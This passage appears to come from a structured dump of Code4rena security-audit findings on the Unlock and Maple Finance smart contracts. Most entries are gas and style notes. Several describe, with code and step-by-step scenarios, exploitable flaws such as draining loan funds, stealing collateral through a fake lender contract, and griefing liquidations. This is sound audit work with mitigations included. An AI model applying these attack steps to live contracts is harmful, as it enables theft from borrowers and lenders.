Tools Used Inspection. ## Recommended Mitigation Steps Implement function or remove it to save gas. "}, {"title": "MixinRefunds: frontrun updateKeyPricing() for free profit", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/72", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "MixinRefunds: frontrun updateKeyPricing() for free profit"}, {"title": "Unlock: free UDT arbitrage opportunity", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/70", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-unlock-findings", "body": "Unlock: free UDT arbitrage opportunity"}, {"title": "MixinPurchase: gas optimisation by relying on 0.8.0 auto revert on underflow.", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "MixinPurchase: gas optimisation by relying on 0.8.0 auto revert on underflow."}, {"title": "MixinRefunds: use variable to save gas", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/68", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "MixinRefunds: use variable to save gas"}, {"title": "Unused Named Returns", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Unused Named Returns"}, {"title": "MixinGrantKeys:grantKeys possible DoS with (Unexpected) revert", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "MixinGrantKeys:grantKeys possible DoS with (Unexpected) revert"}, {"title": "MixinFunds:_initializeMixinFunds move the require statement to the beginning of the function so save gas in the case of a revert", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "MixinFunds:_initializeMixinFunds move the require statement to the beginning of the function so save gas in the case of a revert"}, {"title": "grantKeys no check on parameter array lengths and values", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "grantKeys no check on parameter array lengths and values"}, {"title": "Missing maxNumberOfKeys checks in shareKey and grantKey", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/55", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-unlock-findings", "body": "# Handle kenzo # Vulnerability details More keys can be minted than maxNumberOfKeys since `shareKey` and `grantKey` do not check if the lock is sold out. ## Impact More keys can be minted than intended. ## Proof of Concept In both `shareKey` and `grantKey`, if minting a new token, a new token is simply minted (and `_totalSupply` increased) without checking it against `maxNumberOfKeys`. This is unlike `purchase`, which has the `notSoldOut` modifier. `grantKey`: https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinGrantKeys.sol#L41:#L42 `shareKey`: https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinTransfer.sol#L83:#L84 Both functions call `_assignNewTokenId` which does not check maxNumberOfKeys. https://github.com/code-423n4/2021-11-unlock/blob/main/smart-contracts/contracts/mixins/MixinKeys.sol#L311:#L322 So you can say that `_assignNewTokenId` is actually the root of the error, and this is why I am submitting this as 1 finding and not 2 (for grantKey/shareKey). ## Recommended Mitigation Steps Add a check to `_assignNewTokenId` that will revert if we need to record a new key and `maxNumberOfKeys` has been reached. "}, {"title": "Redundant check of freeTrialLength == 0", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Redundant check of freeTrialLength == 0"}, {"title": "Refund mechanism doesn't take into account that key price can change", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/53", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Refund mechanism doesn't take into account that key price can change"}, {"title": "setKeyManagerOf has no address-0 check", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "setKeyManagerOf has no address-0 check"}, {"title": "Key buyers will not be able to get refund if lock manager withdraws profits", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/50", "labels": ["bug", "2 (Med Risk)"], "target": "2021-11-unlock-findings", "body": "Key buyers will not be able to get refund if lock manager withdraws profits"}, {"title": "Use of access control require statement when modifier exists", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Use of access control require statement when modifier exists"}, {"title": "Commented lines of code", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/46", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Commented lines of code"}, {"title": "Function spec and implementation difference / strict comparison", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Function spec and implementation difference / strict comparison"}, {"title": "Potential division by 0 in `recordKeyPurchase`", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Potential division by 0 in `recordKeyPurchase`"}, {"title": "Use explicit variables type", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Use explicit variables type"}, {"title": "Long Revert Strings", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/36", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Long Revert Strings"}, {"title": "MixinERC721Enumerable.tokenOfOwnerByIndex - parameter _index can be removed", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/32", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "MixinERC721Enumerable.tokenOfOwnerByIndex - parameter _index can be removed"}, {"title": "The function MixinLockCore.approveBeneficiary is susceptible to a race condition", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/29", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "The function MixinLockCore.approveBeneficiary is susceptible to a race condition"}, {"title": "Changes that affect access control should be accompanied by an event", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/28", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Changes that affect access control should be accompanied by an event"}, {"title": "Scenario where variable in Unlock.recordKeyPurchase() is not initialized", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Scenario where variable in Unlock.recordKeyPurchase() is not initialized"}, {"title": "Unnecessary function parameter in Unlock.upgradeLock() function", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Unnecessary function parameter in Unlock.upgradeLock() function"}, {"title": "Using uint16 for lock versions increases gas costs for no reason.", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/24", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Using uint16 for lock versions increases gas costs for no reason."}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Open TODOs"}, {"title": "safeApprove is deprecated. ", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/21", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "safeApprove is deprecated. "}, {"title": "named return issue", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/20", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "named return issue"}, {"title": "USE OF FLOATING PRAGMA", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "USE OF FLOATING PRAGMA"}, {"title": "USE OF DEPRECATED _SETUPROLE FUNCTION", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "USE OF DEPRECATED _SETUPROLE FUNCTION"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/12", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-unlock-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "Order of layout is wrong in ERC20Patched.sol", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Order of layout is wrong in ERC20Patched.sol"}, {"title": "Order of function is wrong in contracts ERC20PermitUpgradeable, ERC20VotesCompUpgradeable, EIP712Upgradeable", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Order of function is wrong in contracts ERC20PermitUpgradeable, ERC20VotesCompUpgradeable, EIP712Upgradeable"}, {"title": "Function type from public to external", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/5", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Function type from public to external"}, {"title": "Unnecessary fallback function", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-unlock-findings", "body": "Unnecessary fallback function"}, {"title": "Unused function parameters ", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/3", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Unused function parameters "}, {"title": "Initializer modifiers should be called in the same way everywhere ", "html_url": "https://github.com/code-423n4/2021-11-unlock-findings/issues/1", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-unlock-findings", "body": "Initializer modifiers should be called in the same way everywhere "}, {"title": "IsContract Function Usage", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/72", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-maple-findings", "body": "IsContract Function Usage"}, {"title": "Fund stuck in `Liquidator` if `stopLiquidation` is called ", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/67", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle gzeon # Vulnerability details ## Impact `stopLiquidation` does not pull fund from `Liquidator` while setting `_liquidator` to address(0). Since the `DebtLocker` own `Liquidator` and there are no way to set `_liquidator` to existing address, fund still in `Liquidator` would be stuck unless `DebtLocker` is upgraded to support such behavior. Also, when `stopLiquidation` is called, remaining fund in Liquidator can still be liquidated by keepers. ## Proof of Concept https://github.com/maple-labs/debt-locker/blob/81f55907db7b23d27e839b9f9f73282184ed4744/contracts/DebtLocker.sol#L112 ``` function stopLiquidation() external override { require(msg.sender == _getPoolDelegate(), \"DL:SL:NOT_PD\"); _liquidator = address(0); emit LiquidationStopped(); } ``` ## Recommended Mitigation Steps Pull remaining fund in `stopLiquidation` "}, {"title": "Reuse arithmetic results can save gas ", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/maple-labs/debt-locker/blob/81f55907db7b23d27e839b9f9f73282184ed4744/contracts/DebtLocker.sol#L205-L215 ```solidity function _handleClaimOfRepossessed() internal returns (uint256[7] memory details_) { ... details_[0] = recoveredFunds + fundsCaptured; details_[1] = recoveredFunds > principalToCover ? recoveredFunds - principalToCover : 0; details_[2] = fundsCaptured; details_[5] = recoveredFunds > principalToCover ? principalToCover : recoveredFunds; details_[6] = principalToCover > recoveredFunds ? principalToCover - recoveredFunds : 0; _fundsToCapture = uint256(0); _repossessed = false; require(ERC20Helper.transfer(fundsAsset, _pool, recoveredFunds + fundsCaptured), \"DL:HCOR:TRANSFER\"); } ``` `recoveredFunds + fundsCaptured` at L215 is calculated before at L205, since it's a checked arithmetic operation with two memory variables, resue the result instead of doing the arithmetic operation again can save gas. ### Recommendation Change to: `require(ERC20Helper.transfer(fundsAsset, _pool, details_[0]), \"DL:HCOR:TRANSFER\");` "}, {"title": "Avoid unnecessary arithmetic operations can save gas", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/product/types/position/PrePosition.sol#L145-L156 ```solidity=145 function computeFee(PrePosition memory self, IProductProvider provider, uint256 toOracleVersion) internal view returns (UFixed18 positionFee) { Fixed18 oraclePrice = provider.priceAtVersion(toOracleVersion); Position memory positionDelta = self.openPosition.add(self.closePosition); (UFixed18 makerNotional, UFixed18 takerNotional) = ( Fixed18Lib.from(positionDelta.maker).mul(oraclePrice).abs(), Fixed18Lib.from(positionDelta.taker).mul(oraclePrice).abs() ); positionFee = positionFee.add(makerNotional.mul(provider.safeMakerFee())); positionFee = positionFee.add(takerNotional.mul(provider.safeTakerFee())); } ``` At L154, `positionFee = positionFee.add(makerNotional.mul(provider.safeMakerFee()));` can be changed to `positionFee = makerNotional.mul(provider.safeMakerFee());` as `positionFee == 0`. Futhermore, L154-155 can be combined into: ```solidity positionFee = makerNotional.mul(provider.safeMakerFee()).add( takerNotional.mul(provider.safeTakerFee()) ); ``` "}, {"title": "`Liquidator.sol#_locked` Switching between 1, 2 instead of true, false is more gas efficient", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/maple-labs/liquidations/blob/bb09e17b1fac1126ce7734e58c3133be06162590/contracts/Liquidator.sol#L45-L62 ```solidity function liquidatePortion(uint256 swapAmount_, uint256 maxReturnAmount_, bytes calldata data_) external override { require(!_locked, \"LIQ:LP:LOCKED\"); _locked = true; ... _locked = false; } ``` `SSTORE` from false (0) to true (1) (or any non-zero value), the cost is 20000; `SSTORE` from 1 to 2 (or any other non-zero value), the cost is 5000. By storing the original value once again, a refund is triggered (https://eips.ethereum.org/EIPS/eip-2200). Since refunds are capped to a percentage of the total transaction's gas, it is best to keep them low, to increase the likelihood of the full refund coming into effect. Therefore, switching between 1, 2 instead of 0, 1 will be more gas efficient. See: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/86bd4d73896afcb35a205456e361436701823c7a/contracts/security/ReentrancyGuard.sol#L29-L33 ### Recommendation Change to: ```solidity function liquidatePortion(uint256 swapAmount_, uint256 maxReturnAmount_, bytes calldata data_) external override { require(_locked = 1, \"LIQ:LP:LOCKED\"); _locked = 2; ... _locked = 1; } ``` "}, {"title": "Cache external call result in the stack can save gas", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "Cache external call result in the stack can save gas"}, {"title": "Consider adding storage gaps to proxied contracts", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-maple-findings", "body": "Consider adding storage gaps to proxied contracts"}, {"title": "`makePayment()` Lack of access control allows malicious `lender` to retrieve a large portion of the funds earlier, making the borrower suffer fund loss", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/56", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/maple-labs/loan/blob/9684bcef06481e493d060974b1777a4517c4e792/contracts/MapleLoan.sol#L86-L93 ```solidity=86 function makePayment(uint256 amount_) external override returns (uint256 principal_, uint256 interest_) { // The amount specified is an optional amount to be transfer from the caller, as a convenience for EOAs. require(amount_ == uint256(0) || ERC20Helper.transferFrom(_fundsAsset, msg.sender, address(this), amount_), \"ML:MP:TRANSFER_FROM_FAILED\"); ( principal_, interest_ ) = _makePayment(); emit PaymentMade(principal_, interest_); } ``` The current implementation allows anyone to call `makePayment()` and repay the loan with `_drawableFunds`. This makes it possible for a malicious `lender` to call `makePayment()` multiple times right after `fundLoan()` and retrieve most of the funds back immediately, while then `borrower` must continue to make payments or lose the `collateral`. ### PoC Given: - `_collateralRequired` = 1 BTC - `_principalRequested` = 12,000 USDC - `_paymentInterval` = 30 day - `_paymentsRemaining` = 12 - `_gracePeriod` = 1 day - `interestRate_` = 2e17 1. The borrower calls `postCollateral()` and added `1 BTC` as `_collateralAsset`; 2. The lender calls `fundLoan()` and added `12,000 USDC` as `_fundsAsset`; 3. The lender calls `makePayment()` 11 times, then: - `_drawableFunds` = 96 - `_claimableFunds` = 11903 - `_principal` = 1553 4. The lender calls `_claimFunds()` get 11,903 USDC of `_fundsAsset` back; Now, for the borrower `1,579 USDC` is due, but only `96 USDC` can be used. The borrower is now forced to pay the interests for the funds that never be used or lose the collateral. ### Recommendation Change to: ```solidity=86 function makePayment(uint256 amount_) external override returns (uint256 principal_, uint256 interest_) { // The amount specified is an optional amount to be transfer from the caller, as a convenience for EOAs. require(amount_ == uint256(0) || ERC20Helper.transferFrom(_fundsAsset, msg.sender, address(this), amount_), \"ML:MP:TRANSFER_FROM_FAILED\"); require(msg.sender == _borrower, \"ML:DF:NOT_BORROWER\"); ( principal_, interest_ ) = _makePayment(); emit PaymentMade(principal_, interest_); } ``` "}, {"title": "Gas Optimization: Use constant instead of block.timestamp", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Use type(uint).max instead of block.timestamp to save gas https://github.com/maple-labs/liquidations/blob/bb09e17b1fac1126ce7734e58c3133be06162590/contracts/UniswapV2Strategy.sol#L71 https://github.com/maple-labs/liquidations/blob/bb09e17b1fac1126ce7734e58c3133be06162590/contracts/SushiswapStrategy.sol#L71 "}, {"title": "Unchecked return value for `ERC20.approve` call", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details There are many functions across the codebase that will perform an ERC20.approve() call but does not check the success return value. Some tokens do not revert if the approval failed but return false instead. Instances include: https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/other/PalmNFTXStakingZap.sol#L167-L167 ```solidity=167 IERC20Upgradeable(address(_pairedToken)).approve(_sushiRouter, type(uint256).max); ``` https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/other/PalmNFTXStakingZap.sol#L313 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/other/PalmNFTXStakingZap.sol#L299 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L519 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXMarketplaceZap.sol#L538 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXSimpleFeeDistributor.sol#L159 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L398 https://github.com/code-423n4/2021-12-nftx/blob/194073f750b7e2c9a886ece34b6382b4f1355f36/nftx-protocol-v2/contracts/solidity/NFTXStakingZap.sol#L171 It is usually good to add a require-statement that checks the return value or to use something like `safeApprove`; unless one is sure the given token reverts in case of a failure. "}, {"title": "Adding unchecked directive can save gas", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-maple-findings", "body": "Adding unchecked directive can save gas"}, {"title": "Unsafe implementation of `fundLoan()` allows attacker to steal collateral from an unfunded loan", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/maple-labs/loan/blob/9684bcef06481e493d060974b1777a4517c4e792/contracts/MapleLoanInternals.sol#L257-L273 ```solidity=257 uint256 treasuryFee = (fundsLent_ * ILenderLike(lender_).treasuryFee() * _paymentInterval * _paymentsRemaining) / uint256(365 days * 10_000); // Transfer delegate fee, if any, to the pool delegate, and decrement drawable funds. uint256 delegateFee = (fundsLent_ * ILenderLike(lender_).investorFee() * _paymentInterval * _paymentsRemaining) / uint256(365 days * 10_000); // Drawable funds is the amount funded, minus any fees. _drawableFunds = fundsLent_ - treasuryFee - delegateFee; require( treasuryFee == uint256(0) || ERC20Helper.transfer(_fundsAsset, ILenderLike(lender_).mapleTreasury(), treasuryFee), \"MLI:FL:T_TRANSFER_FAILED\" ); require( delegateFee == uint256(0) || ERC20Helper.transfer(_fundsAsset, ILenderLike(lender_).poolDelegate(), delegateFee), \"MLI:FL:PD_TRANSFER_FAILED\" ); ``` In the current implementation, `mapleTreasury`, `poolDelegate` and `treasuryFee` are taken from user input `lender_`, which can be faked by setting up a contract with `ILenderLike` interfaces. This allows the attacker to set very high fees, making `_drawableFunds` near 0. Since `mapleTreasury` and `poolDelegate` are also read from `lender_`, `treasuryFee` and `investorFee` can be retrieved back to the attacker. As a result, the borrower won't get any `_drawableFunds` while also being unable to remove collateral. ### PoC Given: - `_collateralRequired` = 10 BTC - `_principalRequested` = 1,000,000 USDC - `_paymentInterval` = 1 day - `_paymentsRemaining` = 10 - `_gracePeriod` = 1 day 1. Alice (borrower) calls `postCollateral()` and added `10 BTC` as `_collateralAsset`; 2. The attacker calls `fundLoan()` by taking `1,000,000 USDC` of flashloan and using a fake `lender`contract; 3. Alice calls `drawdownFunds()` with any amount > 0 will fail; 4. Alice calls `removeCollateral()` with any amount > 0 will get \"MLI:DF:INSUFFICIENT_COLLATERAL\" error; 5. Unless Alice make payment (which is meaningless), after 2 day, the attacker can call `repossess()` and get `10 BTC`. ### Recommendation Consider reading `treasuryFee`, `investorFee`, `mapleTreasury`, `poolDelegate` from an authoritative source instead. "}, {"title": "Anyone can call `closeLoan()` to close the loan", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/maple-labs/loan/blob/9684bcef06481e493d060974b1777a4517c4e792/contracts/MapleLoan.sol#L56-L63 ```solidity=56 function closeLoan(uint256 amount_) external override returns (uint256 principal_, uint256 interest_) { // The amount specified is an optional amount to be transfer from the caller, as a convenience for EOAs. require(amount_ == uint256(0) || ERC20Helper.transferFrom(_fundsAsset, msg.sender, address(this), amount_), \"ML:CL:TRANSFER_FROM_FAILED\"); ( principal_, interest_ ) = _closeLoan(); emit LoanClosed(principal_, interest_); } ``` Based on the context, we believe that the `closeLoan()` should only be called by the `borrower`. However, the current implementation allows anyone to call `closeLoan()` anytime after `fundLoan()`. If there is no `earlyFee`, this enables a griefing attack, causing the `borrower` and `lender` to abandon this contract and redo everything which costs more gas. If a platform fee exits, the lender will also suffer fund loss from the platform fee charged in `fundLoan()`. ### Recommendation Change to: ```solidity=56 function closeLoan(uint256 amount_) external override returns (uint256 principal_, uint256 interest_) { // The amount specified is an optional amount to be transfer from the caller, as a convenience for EOAs. require(amount_ == uint256(0) || ERC20Helper.transferFrom(_fundsAsset, msg.sender, address(this), amount_), \"ML:CL:TRANSFER_FROM_FAILED\"); require(msg.sender == _borrower, \"ML:DF:NOT_BORROWER\"); ( principal_, interest_ ) = _closeLoan(); emit LoanClosed(principal_, interest_); } ``` "}, {"title": "Insufficient input validation", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "Insufficient input validation"}, {"title": "Functionality of liquidation strategies can be broken", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle cmichel # Vulnerability details The liquidations strategies (`code-423n4/evm-league/56-maple/repo/liquidations-1.0.0-beta.1/contracts/SushiswapStrategy.sol/UniswapStrategy.sol`) check that the current contract balance in the `swap` callback exactly equals the `swapAmount_` parameter from `flashBorrowLiquidation`. (The `swap` is called as a callback from `flashBorrowLiquidation`'s `liquidatePortion`). ```solidity function swap( uint256 swapAmount_, uint256 minReturnAmount_, address collateralAsset_, address middleAsset_, address fundsAsset_, address profitDestination_ ) external override { // @audit grifer can send 1 wei. should >= require(IERC20Like(collateralAsset_).balanceOf(address(this)) == swapAmount_, \"SushiswapStrategy:WRONG_COLLATERAL_AMT\"); } ``` There's a griefing attacker where a keeper tries to liquidate and calls `flashBorrowLiquidation` but an attacker frontruns this transaction and sends the smallest unit of the `collateralAsset_` to the contract, making this `require` call fail. ## Impact The important automated liquidation strategies that Keepers might use do not work anymore, no liquidations are done in time, and bad debt can occur. I'd rate this as high severity as the impact is big and it's also very easy to break this contract entirely with a single transfer: - there's only one strategy contract for many liquidation contracts which means it's important that it's reliable - it's enough to send a few tokens of collateral assets to the contract _once_ to break the `flashBorrowLiquidation/swap` functionality. Because when calling `flashBorrowLiquidation(swapAmount)`, the liquidation contract will always send exactly this `swapAmount` to the strategy, meaning the `IERC20Like(collateralAsset_).balanceOf(address(this)) == swapAmount_` comparison will always fail if there already were tokens in the contract. ## Recommended Mitigation Steps Use a `IERC20Like(collateralAsset_).balanceOf(address(this)) >= swapAmount_` comparison instead. "}, {"title": "Same implementation can be registerd for several versions", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/33", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle cmichel # Vulnerability details It's possible to overwrite the `_versionOf[implementationAddress_]` field through the `proxy-factory-1.0.0-beta.1/contracts/ProxyFactory._registerImplementation` function and register the implementation as several distinct versions. ```solidity function _registerImplementation(uint256 version_, address implementationAddress_) internal virtual returns (bool success_) { // Cannot already be registered and cannot be empty implementation. if (_implementationOf[version_] != address(0) || !_isContract(implementationAddress_)) return false; _versionOf[implementationAddress_] = version_; _implementationOf[version_] = implementationAddress_; return true; } ``` #### POC - call `_registerImplementation(1, impl)` - call `_registerImplementation(2, impl)`. This does not check that the versions has not already been registered by checking `_versionOf[impl] == 0`. Then the old `_versionOf[impl] = 1` is overwritten with `2`. ## Recommended Mitigation Steps Check if being able to set a new version for the same contract is desired. If not, add a `_versionOf[impl] == 0` check. "}, {"title": "Function poolDelegate does not have a named return (DebtLocker.sol)", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/25", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Code clarity or possibly gas savings if all the other named returns are in error. ## Proof of Concept Function `poolDelegate` does not have a named return even though its interface definition does. The named return isn't used so the fact that it's missing doesn't matter. Function `pool` and tens of other functions do have a named return. Most of these named returns are not used and could be deleted. I'm assuming this is a project convention and may be used in off-chain reporting, etc. https://github.com/maple-labs/debt-locker/blob/81f55907db7b23d27e839b9f9f73282184ed4744/contracts/DebtLocker.sol#L279-L285 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Add a named return to function `poolDelegate' for consistency/reporting. Or if all those other named returns are in error, remove the unused named returns and kick this ticket over to gas optimization. "}, {"title": "\"> 0\" is less efficient than \"!= 0\" for unsigned integers", "html_url": "https://github.com/code-423n4/2021-12-maple-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-maple-findings", "body": "# Handle WatchPug # Vulnerability details It is cheaper to use `!= 0` than `> 0` for uint256. https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeStaking.sol#L101-L101 ```solidity if (user.amount > 0) { ``` https://github.com/code-423n4/2022-01-trader-joe/blob/a1579f6453bc4bf9fb0db9c627beaa41135438ed/contracts/RocketJoeFactory.sol#L119-L119 ```solidity _tokenAmount > 0, ``` 